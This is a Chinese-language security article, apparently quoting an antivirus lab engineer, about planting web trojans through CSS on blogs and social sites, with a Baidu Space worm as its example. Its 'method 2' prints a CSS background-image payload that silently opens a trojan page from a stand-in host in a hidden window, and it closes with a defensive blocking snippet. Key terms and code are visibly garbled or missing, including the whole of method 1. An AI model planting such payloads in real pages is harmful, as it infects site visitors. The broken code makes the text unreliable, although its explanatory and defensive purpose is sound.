黑客们发现发现, 用来制作网页特效的CSS代码, 也可以用来挂马。
随着Web2.0的普及, 各种网页特效用得越来越多, 这也给黑客一个可乘之机。 他们发现, 用来制作网页特效的CSS代码, 也可以用来挂马。 而比较讽刺的是, CSS挂马方式其实是从防范E挂马的CSS代码演变而来。
安天实验室阿楠:安全工程师, 从事病毒分析多年。
网站挂马的手段最初非常单一, 但是随着Web2.0技术以及Blog、Wiki等广泛的应用, 挂马也涌现出各种各样的技术, 其中CSS挂马方式, 可以说是Web2.0时代黑客的最爱。 有许多非常著名的网站都被黑客用CSS挂马入侵过。
在我印象中, 记忆最深刻的一次是百度空间CSS挂马。 当时, 百度空间推出没有多久, 就有许多百度用户收到了类似“哈, 节日快乐呀!热烈庆祝2008, 心情好好, 记住要想我!http://hi.baidu.com/XXXXX”的站内消息。
由于网址是百度空间的网址, 许多用户认为不会存在安全问题, 加上又有可能是自己朋友发来的, 因此会毫不犹豫地点击进入。 但是进入指定的网址后, 用户就会感染蠕虫病毒, 并继续传播。
由于蠕虫扩散非常严重, 最终导致百度空间不得不发布官方声明提醒用户, 并且大费周折地在服务器中清除蠕虫的恶意代码。 那一次的挂马事件利用的就是百度空间CSS模板功能, 通过变形的expression在CSS代码中动态执行脚本, 让指定的远程恶意代码文件在后台悄悄运行并发送大量伪造信息。
我建议大家在点击陌生链接时, 要多个心眼, 大网站也是可能被挂马的。 大家在上网时, 最好还是使用一些带网页木马拦截功能的安全辅助工具。
黑客为什么选择CSS挂马?
在Web1.0时代, 使用E挂马对于黑客而言, 与其说是为了更好地实现木马的隐藏, 倒不如说是无可奈何的一个选择。 在简单的HTML网页和缺乏交互性的网站中, 黑客可以利用的手段也非常有限, 即使采取了复杂的伪装, 也很容易被识破, 还不如E来得直接和有效。
但如今交互式的Web2.0网站越来越多, 允许用户设置与修改的博客、SNS社区等纷纷出现。 这些互动性非常强的社区和博客中, 往往会提供丰富的功能, 并且会允许用户使用CSS层叠样式表来对网站的网页进行自由的修改, 这促使了CSS挂马流行。
小百科:
CSS是层叠样式表(CascadingStyleSheets)的英文缩写。 CSS最主要的目的是将文件的结构(用HTML或其他相关语言写的)与文件的显示分隔开来。 这个分隔可以让文件的可读性得到加强、文件的结构更加灵活。
黑客在利用CSS挂马时, 往往是借着网民对某些大网站的信任, 将CSS恶意代码挂到博客或者其他支持CSS的网页中, 当网民在访问该网页时恶意代码就会执行。 这就如同你去一家知名且证照齐全的大医院看病, 你非常信任医院, 但是你所看的门诊却已经被庸医外包了下来, 并且打着医院的名义利用你的信任成功欺骗了你。 但是当你事后去找人算账时, 医院此时也往往一脸无辜。 对于安全工程师而言, CSS挂马的排查是必备常识。
CSS挂马攻防实录
攻CSS挂马方式较多, 但主流的方式是通过有漏洞的博客或者SNS社交网站系统, 将恶意的CSS代码写入支持CSS功能的个性化页面中。 下面我们以典型的CSS挂马方式为例进行讲解。
方式1:
Body
“background-image”在CSS中的主要功能是用来定义页面的背景图片。 这是最典型的CSS挂马方式, 这段恶意代码主要是通过“background-image”配合t代码让网页木马悄悄地在用户的电脑中运行。
那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置, 然后将该段恶意代码写入挂马网站的网页中, 或者挂马网页所调用的CSS文件中。
小百科:
使用Body对象元素, 主要是为了让对象不再改变整个网页文档的内容, 通过Body对象的控制, 可以将内容或者效果控制在指定的大小内, 如同使用DIV对象那样精确地设置大小。
方式2:
Body
background-image: url(t:open("http://www.X.com/muma.htm", "newwindow", "border="1" Height=0, Width=0, top=1000, center=0, toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no"))
方式1的CSS挂马技术, 在运行时会出现空白的页面, 影响网页访问者正常的访问, 因此比较容易发现。 不过在方式2中的这段代码, 使用了t的Open开窗, 通过新开一个隐藏的窗口, 在后台悄悄地运行新窗口并激活访问网页溢出木马页面, 不会影响访问者观看网页内容, 因此更加隐蔽。
防网络服务器被挂马, 通常会出现防病毒软件告警之类的信息。 由于漏洞不断更新, 挂马种类时刻都在变换, 通过客户端的反映来发现服务器是否被挂马往往疏漏较大。 正确的做法是经常检查服务器日志, 发现异常信息, 经常检查网站代码, 使用网页木马检测系统, 进行排查。
目前除了使用以前的阻断弹出窗口防范CSS挂马之外, 还可以在网页中设置CSS过滤, 将CSS过滤掉。 不过如果你选择过滤CSS的话, 首先需要留意自己的相关网页是否有CSS的内容, 因此我们仍然首推用阻断方式来防范CSS。 阻断代码如下所示:
emiao1:expression(this.src="about:blank", this.outerHTML="");
将外域的木马代码的src重写成本地IE404错误页面的地址, 这样, 外域的t代码不会被下载。 不过阻断方式也有天生致命的弱点, 弱点的秘密我们将于下次揭晓。
……